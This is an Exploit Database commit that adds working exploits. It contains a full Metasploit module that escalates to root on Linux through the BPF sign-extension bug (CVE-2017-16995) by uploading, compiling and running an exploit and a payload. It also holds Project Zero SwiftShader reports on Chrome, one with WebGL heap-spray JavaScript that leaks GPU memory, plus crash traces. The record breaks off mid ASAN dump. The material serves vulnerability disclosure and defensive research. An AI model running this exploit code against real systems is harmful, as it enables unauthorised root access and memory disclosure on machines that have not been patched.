DB: 2018-07-20

6 changes to exploits/shellcodes

Google Chrome - Swiftshader Texture Allocation Integer Overflow
Google Chrome - Swiftshader Blitting Floating-Point Precision Errors
Google Chrome - SwiftShader OpenGL Texture Bindings Reference Count Leak

Linux - BPF Sign Extension Local Privilege Escalation (Metasploit)

WordPress Plugin All In One Favicon 4.6 - Cross-Site Scripting

MyBB New Threads Plugin 1.1 - Cross-Site Scripting
This commit is contained in:
Offensive Security 2018-07-20 05:01:44 +00:00
parent a2ac269de5
commit bf0a56a02f
7 changed files with 916 additions and 0 deletions

206
exploits/linux/local/45058.rb Executable file
View file

@ -0,0 +1,206 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux BPF Sign Extension Local Privilege Escalation',
'Description' => %q{
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
which contains a vulnerability where it may improperly perform sign
extension. This can be utilized to escalate privileges.
The target system must be compiled with BPF support and must not have
kernel.unprivileged_bpf_disabled set to 1.
This module has been tested successfully on:
Debian 9.0 kernel 4.9.0-3-amd64;
Deepin 15.5 kernel 4.9.0-deepin13-amd64;
ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
Fedora 25 kernel 4.8.6-300.fc25.x86_64;
Fedora 26 kernel 4.11.8-300.fc26.x86_64;
Fedora 27 kernel 4.13.9-300.fc27.x86_64;
Gentoo 2.2 kernel 4.5.2-aufs-r;
Linux Mint 17.3 kernel 4.4.0-89-generic;
Linux Mint 18.0 kernel 4.8.0-58-generic;
Linux Mint 18.3 kernel 4.13.0-16-generic;
Mageia 6 kernel 4.9.35-desktop-1.mga6;
Manjero 16.10 kernel 4.4.28-2-MANJARO;
Solus 3 kernel 4.12.7-11.current;
Ubuntu 14.04.1 kernel 4.4.0-89-generic;
Ubuntu 16.04.2 kernel 4.8.0-45-generic;
Ubuntu 16.04.3 kernel 4.10.0-28-generic;
Ubuntu 17.04 kernel 4.10.0-19-generic;
ZorinOS 12.1 kernel 4.8.0-39-generic.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jann Horn', # Discovery
'bleidl', # Discovery and get-rekt-linux-hardened.c exploit
'vnik', # upstream44.c exploit
'rlarabee', # cve-2017-16995.c exploit
'h00die', # Metasploit
'bcoles' # Metasploit
],
'DisclosureDate' => 'Nov 12 2017',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'AKA', 'get-rekt-linux-hardened.c' ],
[ 'AKA', 'upstream44.c' ],
[ 'BID', '102288' ],
[ 'CVE', '2017-16995' ],
[ 'EDB', '44298' ],
[ 'EDB', '45010' ],
[ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ],
[ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ],
[ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ],
[ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ],
[ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ],
[ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ],
[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ],
[ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
],
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
end
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
def upload_and_compile(path, data)
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
rm_f "#{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
end
cmd_exec "chmod +x #{path}"
end
def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
if unprivileged_bpf_disabled?
vprint_error 'Unprivileged BPF loading is not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged BPF loading is permitted'
release = kernel_release
if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||
Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"
CheckCode::Appears
end
def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, exploit_data('exploit.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('exploit.out')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status 'Launching exploit ...'
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} "
output.each_line { |line| vprint_status line.chomp }
print_status "Cleaning up #{payload_path} and #{executable_path} ..."
rm_f executable_path
rm_f payload_path
end
end

View file

@ -0,0 +1,120 @@
There's a remotely triggerable memory corruption issue in SwiftShader that's reachable from WebGL, resulting from an integer overflow issue.
In the GPU process there is validation on the sizes passed to texture creation functions to ensure that they shouldn't cause overflow. However, in the Swiftshader code there is a separate rounding up of render-target sizes to the next even size, which allows bypassing this validation.
(Note the additional +4, which is also (unexpected by the chrome gpu process) unsafe but in practice shouldn't cause an issue.)
https://cs.chromium.org/chromium/src/third_party/swiftshader/src/Renderer/Surface.cpp?l=3261
void *Surface::allocateBuffer(int width, int height, int depth, int border, int samples, Format format)
{
// Render targets require 2x2 quads
int width2 = (width + 1) & ~1;
int height2 = (height + 1) & ~1;
// FIXME: Unpacking byte4 to short4 in the sampler currently involves reading 8 bytes,
// and stencil operations also read 8 bytes per four 8-bit stencil values,
// so we have to allocate 4 extra bytes to avoid buffer overruns.
return allocate(size(width2, height2, depth, border, samples, format) + 4);
}
Size calculation takes place here:
https://cs.chromium.org/chromium/src/third_party/swiftshader/src/Renderer/Surface.cpp?l=2646
unsigned int Surface::size(int width, int height, int depth, int border, int samples, Format format)
{
width += 2 * border;
height += 2 * border;
// Dimensions rounded up to multiples of 4, used for compressed formats
int width4 = align(width, 4);
int height4 = align(height, 4);
switch(format)
{
// ... snip ...
default:
return bytes(format) * width * height * depth * samples;
}
}
The maximum value for bytes(format) is 16, with something like GL_RGBA32F, and samples is 1.
We can't cause this value to overflow if we have to provide the texture contents, since allocating a sufficiently large Float32Array will be larger than the renderer memory limits, but we can use glTexStorage3D to trigger the overflow.
We need to meet the following conditions:
1 <= width <= 0x2000
1 <= height <= 0x2000
1 <= depth <= 0x2000
16 * width * height * depth <= 0x100000000ull;
If these conditions are met, and we can also produce values such that:
16 * ((width + 1) & ~1) * ((height + 1) & ~1) * depth >= 0x100000000ull;
Then we'll get an integer overflow during size calculation, and end up with a small buffer for a large texture.
If we use the path glTexSubImage3D to initialize the texture, this will zero out (Chrome's expected size) of the texture (~4gig) in the (260 byte) allocation, which may make exploitation awkward, but especially in a context like the GPU process with multiple threads interacting, it's likely possible to exploit this issue. There may also be alternative paths which avoid the wild memset, but I'm reporting now so that work on a fix can start.
Note, it is possible for an attacker to force use of the Swiftshader backend for WebGL rendering by simply crashing the GPU process a few times (for a platform dependent value of 'few'). The attached PoC uses 4 domains and cycles between them to trigger 3 (hardware accelerated) GPU process crashes due to OOM (on my workstation, at least) which will then be followed by the (software accelerated) GPU process hitting this bug. Mileage may vary with different GPU drivers/OpenGL implementations.
Crashes with the PoC will be fairly random - whatever you'd expect for zeroing out your entire heap...
Thread 1 "chrome" received signal SIGSEGV, Segmentation fault.
0x00007fe697e94551 in egl::Image::loadImageData(egl::Context*, int, int, int, int, int, int, unsigned int, unsigned int, egl::Image::UnpackInfo const&, void const*) ()
from src/out/non-asan/swiftshader/libGLESv2.so
(gdb) bt
#0 0x00007fe697e94551 in egl::Image::loadImageData(egl::Context*, int, int, int, int, int, int, unsigned int, unsigned int, egl::Image::UnpackInfo const&, void const*) ()
at src/out/non-asan/swiftshader/libGLESv2.so
#1 0x0000000000000000 in ()
(gdb) x/10i $pc
=> 0x7fe697e94551 <_ZN3egl5Image13loadImageDataEPNS_7ContextEiiiiiijjRKNS0_10UnpackInfoEPKv+9911>: jmpq *0x28(%rax)
0x7fe697e94554 <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv>: push %rbp
0x7fe697e94555 <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+1>: push %r15
0x7fe697e94557 <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+3>: push %r14
0x7fe697e94559 <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+5>: push %r13
0x7fe697e9455b <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+7>: push %r12
0x7fe697e9455d <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+9>: push %rbx
0x7fe697e9455e <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+10>: sub $0x48,%rsp
0x7fe697e94562 <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+14>: mov %r8d,0xc(%rsp)
0x7fe697e94567 <_ZN12_GLOBAL__N_113LoadImageDataILNS_8DataTypeE1EEEviiiiiiiiiiPKvPv+19>: test %r9d,%r9d
(gdb) i r
rax 0x0 0
rbx 0x8814 34836
rcx 0x1 1
rdx 0x10 16
rsi 0x30b20f90860 3346332715104
rdi 0x30b2081f500 3346324911360
rbp 0x1406 0x1406
rsp 0x7ffdafd862c8 0x7ffdafd862c8
r8 0xfffffffffffffff0 -16
r9 0x1 1
r10 0x75 117
r11 0x30b2088ee90 3346325368464
r12 0xc2 194
r13 0x2a3 675
r14 0x8814 34836
r15 0x0 0
rip 0x7fe697e94551 0x7fe697e94551 <egl::Image::loadImageData(egl::Context*, int, int, int, int, int, int, unsigned int, unsigned int, egl::Image::UnpackInfo const&, void const*)+9911>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
See crash-id d0573792cf03341d for a crash on the current stable branch.
To test using the attached PoC, either run chrome with --disable-gpu to force software rendering, or create 4 aliases to localhost evil0.com, evil1.com, evil2.com and evil3.com in your /etc/hosts file and run ./server.py <port_number> and point your browser to evil0.com:<port_number>.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/45059.zip

View file

@ -0,0 +1,279 @@
<!--
There is a bug in the Swiftshader renderer handling blitting between surfaces (Renderer/Blitter.cpp).
For simplicity's sake, we'll consider the case when JITting fails (so ignoring the call to blitReactor) - in practice, the JITted code has the same problem, but it's somewhat more difficult to understand/explain that code.
void Blitter::blit(Surface *source, const SliceRectF &sourceRect, Surface *dest, const SliceRect &destRect, const Blitter::Options& options)
{
if(dest->getInternalFormat() == FORMAT_NULL)
{
return;
}
if(blitReactor(source, sourceRect, dest, destRect, options))
{
return;
}
SliceRectF sRect = sourceRect;
SliceRect dRect = destRect;
bool flipX = destRect.x0 > destRect.x1;
bool flipY = destRect.y0 > destRect.y1;
if(flipX)
{
swap(dRect.x0, dRect.x1);
swap(sRect.x0, sRect.x1);
}
if(flipY)
{
swap(dRect.y0, dRect.y1);
swap(sRect.y0, sRect.y1);
}
source->lockInternal((int)sRect.x0, (int)sRect.y0, sRect.slice, sw::LOCK_READONLY, sw::PUBLIC);
dest->lockInternal(dRect.x0, dRect.y0, dRect.slice, sw::LOCK_WRITEONLY, sw::PUBLIC);
float w = sRect.width() / dRect.width();
float h = sRect.height() / dRect.height();
const float xStart = sRect.x0 + 0.5f * w;
float y = sRect.y0 + 0.5f * h;
float x = xStart;
for(int j = dRect.y0; j < dRect.y1; j++)
{
x = xStart;
for(int i = dRect.x0; i < dRect.x1; i++)
{
// FIXME: Support RGBA mask
dest->copyInternal(source, i, j, x, y, options.filter);
x += w;
}
y += h;
}
source->unlockInternal();
dest->unlockInternal();
}
For context, dest->copyInternal will simply cast x and y to type int, and use them to read the colour at (x, y) from the source surface, then write it to (i, j) in the destination surface. No further bounds checking is performed in this function, since the inputs to it should previously have been checked.
In every calling path, we should have also previously checked that sourceRect and destRect are within the bounds oftheir respective surfaces, so all of these accesses should be safe.
If we look at the method of calculation for w and x however, we can see a potential problem.
float w = sRect.width() / dRect.width();
...
for(int j = dRect.y0; j < dRect.y1; j++)
{
x = xStart;
for(int i = dRect.x0; i < dRect.x1; i++)
{
...
x += w;
}
...
We're performing repeated additions of floating point values, and in this case the attacker has sufficient control over the input values to arrange matters so that this has interesting results. The example used in the PoC is when the source width is 5828, and the destination width is 8132. Below shows the results of the calculation performed in the code, and a second calculation where a multiplication is used instead of the iterative addition:
0: 1.075012 1.075012
1: 1.791687 1.791687
...
1000: 717.749878 717.749878 Up to here the precision used the values are still identical
1001: 718.466553 718.466553
...
2046: 1467.391724 1467.391724 At this point, the first significant errors start to occur, but note
2047: 1468.108398 1468.108521 that the "incorrect" result is smaller than the more precise one.
...
2856: 2047.898315 2047.898438
2857: 2048.614990 2048.614990 Here our two computations coincide again, briefly, and from here onwards
2858: 2049.331787 2049.331787 the precision errors consistently favour a larger result than the more
2859: 2050.048584 2050.048340 precise calculation.
...
8129: 5827.567871 5826.924805
8130: 5828.284668 5827.641602
8131: 5829.001465 5828.358398 The last index is now sufficiently different that int conversion results in an oob index.
The result here is that we end up taking our sample values for the last row of the result from one-row-past-the-end of the source buffer.
If we build with ASAN and disable the JIT by commenting out the blitReactor call, we can see this from the ASAN report:
=================================================================
==26029==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f808f3c205c at pc 0x7f809fdfcd34 bp 0x7fff0b816250 sp 0x7fff0b816248
READ of size 4 at 0x7f808f3c205c thread T0 (chrome)
==26029==WARNING: invalid path to external symbolizer!
==26029==WARNING: Failed to use and restart external symbolizer!
#0 0x7f809fdfcd33 in sw::Surface::Buffer::read(void*) const /ssd/chrome/src/out/asan/../../third_party/swiftshader/src/Renderer/Surface.cpp:580:25
#1 0x7f809fdc088a in sw::Blitter::blit(sw::Surface*, sw::SliceRectT<float> const&, sw::Surface*, sw::SliceRectT<int> const&, sw::Blitter::Options const&) /ssd/chrome/src/out/asan/../../third_party/swiftshader/src/Renderer/Blitter.cpp:187:11
0x7f808f3c205c is located 0 bytes to the right of 135862364-byte region [0x7f8087230800,0x7f808f3c205c)
allocated by thread T0 (chrome) here:
#0 0x55f41d3e45c2 in operator new[](unsigned long) _asan_rtl_:3
#1 0x7f809ff6b82a in allocateRaw /ssd/chrome/src/out/asan/../../third_party/swiftshader/src/Common/Memory.cpp:68:25
#2 0x7f809ff6b82a in sw::allocate(unsigned long, unsigned long) /ssd/chrome/src/out/asan/../../third_party/swiftshader/src/Common/Memory.cpp:85:0
SUMMARY: AddressSanitizer: heap-buffer-overflow (/ssd/chrome/src/out/asan/swiftshader/libGLESv2.so+0x4ddd33)
Shadow bytes around the buggy address:
0x0ff091e703b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff091e703c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff091e703d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff091e703e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff091e703f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff091e70400: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa
0x0ff091e70410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff091e70420: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff091e70430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff091e70440: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff091e70450: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==26029==ABORTING
The bug is however also present in the JIT version of the function, and the attached PoC when run on a normal chrome build (with --disable-gpu, or forcing swiftshader as per my previously reported issue) should output leaked memory from the gpu process to the console. The very rough heap-spray implemented makes it likely the leaked memory will contain pointers to the chrome binary, to libswiftshader, and to the heap.
-->
<html>
<head>
</head>
<body onload="start()">
<canvas id='gl' width='128' height='128' />
<script>
function hex(value, count) {
const alphabet = '0123456789abcdef';
var result = '';
for (var i = (count / 4) - 1; i >= 0; --i) {
result += alphabet[(value >> (i * 4)) & 0xf];
}
return result;
}
function interesting_line(view, i) {
for (var j = 0; j < 16; ++j) {
if (view.getUint8(i + j) != 0) {
return true;
}
}
return false;
}
function hexdump(view) {
output = '';
for (var i = 0; i < view.byteLength; i += 16) {
if (interesting_line(view, i)) {
output += hex(i, 16) + ': ';
ascii = '';
for (var j = 0; j < 16; ++j) {
if (i + j < view.byteLength) {
byte = view.getUint8(i + j);
output += hex(byte, 8) + ' ';
if (0x20 <= byte && byte <= 0x7e) {
ascii += String.fromCharCode(byte);
} else {
ascii += '.';
}
} else {
output += ' ';
}
}
output += ' ' + ascii + '\n';
}
}
return output;
}
function web(gl) {
const width = 8192;
const src_height = 5828;
const dst_height = 8132;
var src_fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.READ_FRAMEBUFFER, src_fb);
src_fb.width = width;
src_fb.height = src_height;
var src_data = new Uint8Array(width * src_height * 16);
for (var i = 0; i < src_data.length; ++i) {
src_data[i] = 0x23;
}
src_tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, src_tex);
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, src_fb.width, src_fb.height, 0, gl.RGBA, gl.UNSIGNED_BYTE, src_data);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
gl.framebufferTexture2D(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, src_tex, 0);
var dst_fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);
dst_fb.width = width;
dst_fb.height = dst_height;
var dst_rb = gl.createRenderbuffer();
gl.bindRenderbuffer(gl.RENDERBUFFER, dst_rb);
gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA8, dst_fb.width, dst_fb.height);
gl.framebufferRenderbuffer(gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, dst_rb);
spray_data = new Uint8Array(8 * 8 * 4);
for (var i = 0; i < 8 * 8; ++i) {
spray_data[i] = 0x41;
}
for (var i = 0; i < 1024; ++i) {
spray_tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, spray_tex);
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, 8, 8, 0, gl.RGBA, gl.UNSIGNED_BYTE, spray_data);
}
gl.blitFramebuffer(0, 0, width, src_height,
0, 0, width, dst_height,
gl.COLOR_BUFFER_BIT, gl.NEAREST);
gl.bindFramebuffer(gl.READ_FRAMEBUFFER, dst_fb);
var dst_data = new Uint8Array(width * 4);
gl.readPixels(0, dst_height - 1, width, 1, gl.RGBA, gl.UNSIGNED_BYTE, dst_data);
console.log(hexdump(new DataView(dst_data.buffer)));
}
function start() {
var canvas = document.getElementById('gl');
var gl = canvas.getContext('webgl2');
if (gl) {
web(gl);
}
}
</script>
</body>
</html>

View file

@ -0,0 +1,187 @@
<!--
There's an object lifetime issue in the Swiftshader OpenGL texture bindings (OpenGL/libGLESv2/Texture.cpp).
The same bug is present in all versions of TextureXX::copyImage, below is the simplest function:
void Texture2D::copyImage(GLint level, GLenum internalformat, GLint x, GLint y, GLsizei width, GLsizei height, Renderbuffer *source)
{
egl::Image *renderTarget = source->getRenderTarget();
if(!renderTarget)
{
ERR("Failed to retrieve the render target.");
return error(GL_OUT_OF_MEMORY);
}
if(image[level])
{
image[level]->release();
}
image[level] = egl::Image::create(this, width, height, internalformat);
if(!image[level])
{
return error(GL_OUT_OF_MEMORY);
}
if(width != 0 && height != 0)
{
sw::SliceRect sourceRect(x, y, x + width, y + height, 0);
sourceRect.clip(0, 0, renderTarget->getWidth(), renderTarget->getHeight());
copy(renderTarget, sourceRect, 0, 0, 0, image[level]);
}
renderTarget->release();
}
egl::Image objects are manually reference counted with a 32-bit reference count (see OpenGL/common/Object{.hpp,.cpp}), using addRef/release, and there is an error path here (when egl::Image::create fails) where the reference taken on renderTarget by source->getRenderTarget() is never dropped.
I haven't verified that this bug can be reached in stable - I'm looking at the code for the latest dev, and various changes have been made to the allocations of egl::Image in dev in the fixes to crbug.com/835299 - the attached PoC is tested against 68.0.3440.7, and for versions prior to the fixes I think a different strategy (or at least texture sizes) will be needed to cause the allocations to fail.
(In 68.0.3440.7, it's possible to create allocations such that the initial texture allocation succeeds, but that the size of the equivalent cube map texture will fail, since cube maps get an additional border pixel - this is the strategy used in the PoC).
Note also that the PoC is triggering the bug directly from javascript - this will take some time! Approximately an hour for me, significantly longer for an ASAN build. This would be much quicker with direct asynchronous access to the GPU command buffer interface, so with an additional renderer bug just using this bug just for sandbox escape.
[144553:144553:0604/113443.369302:ERROR:gpu_process_transport_factory.cc(1016)] Lost UI shared context.
[144553:144602:0604/113443.474027:ERROR:object_proxy.cc(616)] Failed to call method: org.freedesktop.Notifications.GetCapabilities: object_path= /org/freedeskt
[144610:144610:0604/113445.417389:ERROR:gles2_cmd_decoder.cc(14816)] [.Offscreen-For-WebGL-0x1b0d726ad000]GL ERROR :GL_OUT_OF_MEMORY : glCopyTexImage2D:
Received signal 11 SEGV_MAPERR ffffc58ecd269cf1
#0 0x55df80ab5d0c base::debug::StackTrace::StackTrace()
#1 0x55df80ab5871 base::debug::(anonymous namespace)::StackDumpSignalHandler()
#2 0x7f73116670c0 <unknown>
#3 0x7f73028d0638 <unknown>
#4 0x7f73028db9ed <unknown>
#5 0x7f73028dcfb4 <unknown>
#6 0x7f73028dfb96 <unknown>
#7 0x55df813cd2ae gl::GLApiBase::glCopyTexImage2DFn()
#8 0x55df818c6d7c gpu::gles2::GLES2DecoderImpl::DoCopyTexImage2D()
#9 0x55df8188f4e5 gpu::gles2::GLES2DecoderImpl::HandleCopyTexImage2D()
#10 0x55df818b31b7 gpu::gles2::GLES2DecoderImpl::DoCommandsImpl<>()
#11 0x55df81875f88 gpu::CommandBufferService::Flush()
#12 0x55df81c57465 gpu::CommandBufferStub::OnAsyncFlush()
#13 0x55df81c5729f _ZN3IPC8MessageTI35GpuCommandBufferMsg_AsyncFlush_MetaNSt3__15tupleIJijbEEEvE8DispatchIN3gpu17CommandBufferStubES8_vMS8_FvijbEEEbPKNS_7MessageEPT_PT0_PT1_T2_
#14 0x55df81c561cb gpu::CommandBufferStub::OnMessageReceived()
#15 0x55df81c54587 gpu::GpuChannel::HandleMessageHelper()
#16 0x55df81c52b25 gpu::GpuChannel::HandleMessage()
#17 0x55df81c5d950 gpu::Scheduler::RunNextTask()
#18 0x55df80a2c34c base::debug::TaskAnnotator::RunTask()
#19 0x55df80a44887 base::MessageLoop::RunTask()
#20 0x55df80a44d67 base::MessageLoop::DoWork()
#21 0x55df80a4775f base::(anonymous namespace)::WorkSourceDispatch()
#22 0x7f730f77df07 g_main_context_dispatch
#23 0x7f730f77e138 <unknown>
#24 0x7f730f77e1cc g_main_context_iteration
#25 0x55df80a47622 base::MessagePumpGlib::Run()
#26 0x55df80a642c5 base::RunLoop::Run()
#27 0x55df83d9b9de content::GpuMain()
#28 0x55df80771bc6 content::ContentMainRunnerImpl::Run()
#29 0x55df8077abb2 service_manager::Main()
#30 0x55df8076fc64 content::ContentMain()
#31 0x55df7ed481b3 ChromeMain
#32 0x7f730b8f92b1 __libc_start_main
#33 0x55df7ed4802a _start
r8: 0000000000000001 r9: 0000000000000000 r10: 0000000000000000 r11: 0000000000000010
r12: 0000000000000000 r13: 000000000001ffe0 r14: 0000000000000000 r15: 0000000000001440
di: 00003a739c2293c0 si: 0000000000000000 bp: 0000000000000000 bx: 00003a739c2293c0
dx: 0000000000000000 ax: ffffc58ecd269ce1 cx: 0000000000000000 sp: 00007ffe0e7af580
ip: 00007f73028d0638 efl: 0000000000010246 cgf: 002b000000000033 erf: 0000000000000005
trp: 000000000000000e msk: 0000000000000000 cr2: ffffc58ecd269cf1
[end of stack trace]
Calling _exit(1). Core file will not be generated.
=================================================================
==145933==ERROR: AddressSanitizer: heap-use-after-free on address 0x61100001d208 at pc 0x7f66d7569d00 bp 0x7ffcb4922af0 sp 0x7ffcb4922ae8
READ of size 8 at 0x61100001d208 thread T0 (chrome)
==145933==WARNING: invalid path to external symbolizer!
==145933==WARNING: Failed to use and restart external symbolizer!
#0 0x7f66d7569cff in es2::Colorbuffer::getRenderTarget() /ssd/chrome/src/out/asan/../../third_party/swiftshader/src/OpenGL/libGLESv2/Renderbuffer.cpp:538:18
#1 0x7f66d75806d1 in es2::CopyTexImage2D(unsigned int, int, unsigned int, int, int, int, int, int) /ssd/chrome/src/out/asan/../../third_party/swiftshader/src/OpenGL/libGLESv2/libGLESv2.cpp:1037:13
0x61100001d208 is located 200 bytes inside of 240-byte region [0x61100001d140,0x61100001d230)
freed by thread T0 (chrome) here:
#0 0x55ec7d63dbd2 in operator delete(void*) _asan_rtl_:3
#1 0x7f66d7578d35 in es2::TextureCubeMap::copyImage(unsigned int, int, unsigned int, int, int, int, int, es2::Renderbuffer*) /ssd/chrome/src/out/asan/../../third_party/swiftshader/src/OpenGL/libGLESv2/Texture.cpp:1285:16
#2 0x7f66d75806d1 in es2::CopyTexImage2D(unsigned int, int, unsigned int, int, int, int, int, int) /ssd/chrome/src/out/asan/../../third_party/swiftshader/src/OpenGL/libGLESv2/libGLESv2.cpp:1037:13
previously allocated by thread T0 (chrome) here:
#0 0x55ec7d63cf92 in operator new(unsigned long) _asan_rtl_:3
#1 0x7f66d718613d in egl::Image::create(int, int, int, int, bool) /ssd/chrome/src/out/asan/../../third_party/swiftshader/src/OpenGL/common/Image.cpp:1234:10
SUMMARY: AddressSanitizer: heap-use-after-free (/ssd/chrome/src/out/asan/swiftshader/libGLESv2.so+0x6d4cff)
Shadow bytes around the buggy address:
0x0c227fffb9f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffba00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fffba10: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
0x0c227fffba20: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c227fffba30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c227fffba40: fd[fd]fd fd fd fd fa fa fa fa fa fa fa fa fa fa
0x0c227fffba50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
